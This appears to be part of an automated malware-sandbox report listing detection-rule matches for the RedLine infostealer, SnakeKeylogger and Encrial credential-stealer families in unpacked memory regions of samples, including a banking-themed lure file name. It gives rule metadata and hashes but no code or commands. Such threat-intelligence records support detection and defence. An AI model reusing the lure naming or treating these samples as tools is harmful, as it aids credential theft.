              Source: 17.0.Native_snake01.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 16.2.Native_New-Nova.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 16.2.Native_New-Nova.exe.214183e.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 16.2.Native_New-Nova.exe.214183e.2.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 16.2.Native_New-Nova.exe.4a80000.6.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 16.2.Native_New-Nova.exe.4a80000.6.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 16.2.Native_New-Nova.exe.4a80f08.7.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 16.2.Native_New-Nova.exe.4a80f08.7.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 9.2.Native_New-Nova.exe.23e0000.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 9.2.Native_New-Nova.exe.23e0000.4.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 17.2.Native_snake01.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 16.2.Native_New-Nova.exe.3425570.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 16.2.Native_New-Nova.exe.3425570.4.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 9.3.Native_New-Nova.exe.5993e8.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 9.3.Native_New-Nova.exe.5993e8.0.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 8.2.Ziraat_Bankasi_Swift_Messaji.png.exe.2864740.1.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 10.2.Native_snake01.exe.49d0000.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 10.2.Native_snake01.exe.49d0000.5.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.Native_snake01.exe.49d0000.5.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 16.2.Native_New-Nova.exe.4a80f08.7.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 16.2.Native_New-Nova.exe.4a80f08.7.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 16.2.Native_New-Nova.exe.2142746.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 16.2.Native_New-Nova.exe.2142746.1.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 16.2.Native_New-Nova.exe.4a80000.6.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 16.2.Native_New-Nova.exe.4a80000.6.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 9.2.Native_New-Nova.exe.22a2746.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 9.2.Native_New-Nova.exe.22a2746.1.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 16.2.Native_New-Nova.exe.214183e.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 16.2.Native_New-Nova.exe.214183e.2.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 17.2.Native_snake01.exe.2221216.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 17.2.Native_snake01.exe.2221216.2.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 17.2.Native_snake01.exe.2221216.2.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 9.2.Native_New-Nova.exe.3600190.7.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 9.2.Native_New-Nova.exe.3600190.7.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.Native_snake01.exe.4930f20.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 9.2.Native_New-Nova.exe.4b10000.8.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 9.2.Native_New-Nova.exe.4b10000.8.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 17.2.Native_snake01.exe.4a10000.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 17.2.Native_snake01.exe.4a10000.5.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 17.2.Native_snake01.exe.4a10000.5.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 15.2.BZTCUCKTKd.exe.16a46b8.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 17.2.Native_snake01.exe.4a10000.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 17.2.Native_snake01.exe.4a10000.5.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 17.2.Native_snake01.exe.4a10000.5.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 9.2.Native_New-Nova.exe.35d5570.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 17.2.Native_snake01.exe.49c0f20.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 17.2.Native_snake01.exe.49c0f20.3.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 17.2.Native_snake01.exe.49c0f20.3.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 16.3.Native_New-Nova.exe.59f268.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 16.3.Native_New-Nova.exe.59f268.0.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.Native_snake01.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 9.2.Native_New-Nova.exe.4b10000.8.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 10.2.Native_snake01.exe.4930f20.4.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 9.2.Native_New-Nova.exe.22a183e.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 9.2.Native_New-Nova.exe.22a183e.2.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 9.2.Native_New-Nova.exe.23e0f08.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 9.2.Native_New-Nova.exe.23e0f08.3.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 16.0.Native_New-Nova.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 17.2.Native_snake01.exe.49c0000.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 17.2.Native_snake01.exe.49c0000.4.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 17.2.Native_snake01.exe.49c0000.4.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 9.2.Native_New-Nova.exe.22a2746.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 9.2.Native_New-Nova.exe.35d5570.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 9.2.Native_New-Nova.exe.35d5570.5.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 9.2.Native_New-Nova.exe.35d5570.5.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 17.3.Native_snake01.exe.680768.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
